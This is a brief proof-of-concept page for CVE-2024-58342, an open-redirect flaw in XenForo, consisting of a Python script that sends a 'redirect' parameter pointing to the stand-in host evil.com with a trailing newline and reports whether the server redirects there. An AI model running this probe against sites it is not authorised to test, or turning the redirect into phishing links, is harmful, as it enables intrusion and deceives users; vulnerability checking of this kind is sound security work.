CVE-2024-58342 XenForo开放重定向漏洞

import requests def check_open_redirect(target_url): # Payload containing newline and external host # Note: The specific parameter name depends on the actual implementation route payload = { "redirect": "https://evil.com\n" } try: response = requests.get(target_url, params=payload, allow_redirects=False, timeout=5) if response.status_code in [301, 302, 307, 308]: location = response.headers.get('Location') if location and "evil.com" in location: print(f"[+] Vulnerable! Redirecting to: {location}") return True print("[-] Not vulnerable or payload invalid.") return False except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with the actual vulnerable endpoint target = "http://xenforo-target.com/index.php" check_open_redirect(target)